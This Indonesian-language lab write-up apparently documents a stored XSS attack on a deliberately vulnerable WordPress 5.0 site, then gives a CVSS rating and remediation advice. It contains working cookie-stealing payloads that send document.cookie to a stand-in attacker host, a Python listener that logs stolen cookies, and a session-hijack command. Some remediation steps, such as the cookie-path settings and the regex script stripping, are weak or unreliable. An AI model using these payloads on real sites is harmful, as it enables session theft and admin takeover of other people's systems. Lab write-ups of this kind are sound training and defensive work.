WordPress 5.0 - Stored XSS
Objective
Mengeksploitasi celah Stored Cross-Site Scripting (XSS) pada situs WordPress 5.0 di wps-vuln.vuln.cybersecurity.or.id melalui fitur komentar. Tujuan akhir adalah mencuri cookie session admin ketika admin membuka halaman yang berisi komentar berbahaya.
Reconnaissance
1. Identifikasi Target
Buka situs target:
http://wps-vuln.vuln.cybersecurity.or.id
Ditemukan bahwa situs ini adalah WordPress 5.0 dengan fitur komentar aktif di setiap postingan.
2. Verifikasi Versi WordPress
curl -s "http://wps-vuln.vuln.cybersecurity.or.id/readme.html" | grep -i "version"
Hasil:
Version 5.0
3. Cek Form Komentar
Buka salah satu postingan:
http://wps-vuln.vuln.cybersecurity.or.id/2025/01/hello-world/
Halaman menampilkan form komentar dengan field:
- Name (input text)
- Email (input email)
- Website (input url)
- Comment/Message (textarea)
4. Uji Input dengan HTML Sederhana
Coba kirim komentar dengan tag HTML sederhana:
curl -X POST "http://wps-vuln.vuln.cybersecurity.or.id/wp-comments-post.php" \
-d "author=TestUser" \
-d "comment=<b>test bold</b>" \
-d "comment_post_ID=1" \
-d "submit=Post+Comment"
Hasil: Komentar masuk, dan tag
<b> tampil sebagai bold di
halaman - artinya input tidak di-sanitasi dengan benar.
Exploitation
1. Injeksi Stored XSS Sederhana
Kirim komentar dengan script JavaScript:
curl -X POST "http://wps-vuln.vuln.cybersecurity.or.id/wp-comments-post.php" \
-d "author=XSSHunter" \
-d "comment=<script>alert('XSS')</script>" \
-d "comment_post_ID=1" \
-d "submit=Post+Comment"
Hasil: Komentar masuk. Saat halaman dibuka, muncul alert box dengan pesan "XSS".
2. Steal Cookie (Payload Lanjutan)
Gunakan payload yang mengirim cookie ke server attacker:
cat << 'EOF' > steal_payload.txt
<script>
fetch('http://attacker-server.com/steal?cookie=' + document.cookie);
</script>
EOF
curl -X POST "http://wps-vuln.vuln.cybersecurity.or.id/wp-comments-post.php" \
-d "author=CookieStealer" \
-d "comment=$(cat steal_payload.txt)" \
-d "comment_post_ID=1" \
-d "submit=Post+Comment"
Atau dengan payload yang lebih stealth:
<svg onload="fetch('http://attacker-server.com/log?c='+document.cookie)">
Atau menggunakan Image tag dengan event handler:
<img src=x onerror="this.src='http://attacker-server.com/steal?cookie='+document.cookie">
3. Setup Listener (Server Attacker)
Di server attacker, jalankan listener untuk menangkap cookie:
# Python HTTP server sederhana untuk logging
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlparse(self.path)
query = urllib.parse.parse_qs(path.query)
if 'cookie' in query:
print(f'[STOLEN COOKIE] {query[\"cookie\"][0]}')
with open('stolen_cookies.txt', 'a') as f:
f.write(f'{query[\"cookie\"][0]}\n')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"
4. Tunggu Admin Membuka Halaman
Ketika admin mengunjungi halaman postingan yang berisi komentar XSS, cookie akan otomatis terkirim ke server attacker.
Hasil di log attacker:
[STOLEN COOKIE] PHPSESSID=abc123def456; wordpress_logged_in_123abc=admin%7C1700000000%7Chash
5. Session Hijacking
Gunakan cookie yang dicuri untuk membajak session admin:
curl -b "wordpress_logged_in_123abc=admin%7C1700000000%7Chash" \
"http://wps-vuln.vuln.cybersecurity.or.id/wp-admin/"
Hasil: Akses ke dashboard admin WordPress berhasil tanpa perlu login.
Evidence
Payload yang Terkirim
$ curl -X POST "http://wps-vuln.vuln.cybersecurity.or.id/wp-comments-post.php" \
-d "author=XSSHunter" \
-d "comment=<script>alert(document.cookie)</script>" \
-d "comment_post_ID=1" \
-d "submit=Post+Comment"
Hasil Cookie yang Dicuri
PHPSESSID=abc123def456;
wordpress_logged_in_123abc=admin%7C1700000000%7Chash
wordpress_test_cookie=WP+Cookie+check
Screenshot Alert XSS
[MEDIA:/home/labkom/docs/docs/writeups/evidence/wps-xss-alert.png]
️ Risk Assessment
| Faktor | Nilai |
|---|---|
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Base Score | 6.1 (Medium) |
| Attack Vector | Network (N) |
| Attack Complexity | Low (L) |
| Privileges Required | None (N) |
| User Interaction | Required (R) - admin harus membuka halaman |
| Scope | Changed (C) - dari komentar ke session admin |
| Impact | Low (L) pada Confidentiality dan Integrity |
| OWASP Mapping | A03:2021 - Injection |
Dampak Bisnis
- Pencurian session admin WordPress
- Akses penuh ke dashboard WordPress
- Kemampuan injeksi malware/backdoor via tema/plugin
- Defacement website
- Penyebaran XSS ke pengunjung lain (worm XSS)
️ Remediation
1. Sanitasi Input (WordPress)
WordPress versi terbaru sudah memiliki sanitasi, tetapi pastikan
tidak ada filter yang dimatikan. Periksa
wp-includes/kses.php:
// Pastikan fungsi ini aktif
add_filter('pre_comment_content', 'wp_filter_post_kses');
2. Gunakan Content Security Policy (CSP)
Tambahkan header CSP di .htaccess atau konfigurasi
server:
# .htaccess
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random123';"
Atau di Nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-${request_id}';";
3. Set HttpOnly & Secure Flag pada Cookie
Di wp-config.php:
define('WP_ADMIN_COOKIE_PATH', '/');
define('COOKIE_DOMAIN', '');
define('COOKIEPATH', '/');
define('SITECOOKIEPATH', '/');
define('ADMIN_COOKIE_PATH', '/');
Set cookie flag via konfigurasi server:
// wp-config.php
@ini_set('session.cookie_httponly', 1);
@ini_set('session.cookie_secure', 1);
4. Validasi Input Side-Server
// Strip all script tags
$comment = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $_POST['comment']);
// Escape output
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
5. Gunakan Plugin Keamanan
- Wordfence - XSS filtering
- WP Cerber - input validation
- Sucuri Security - WAF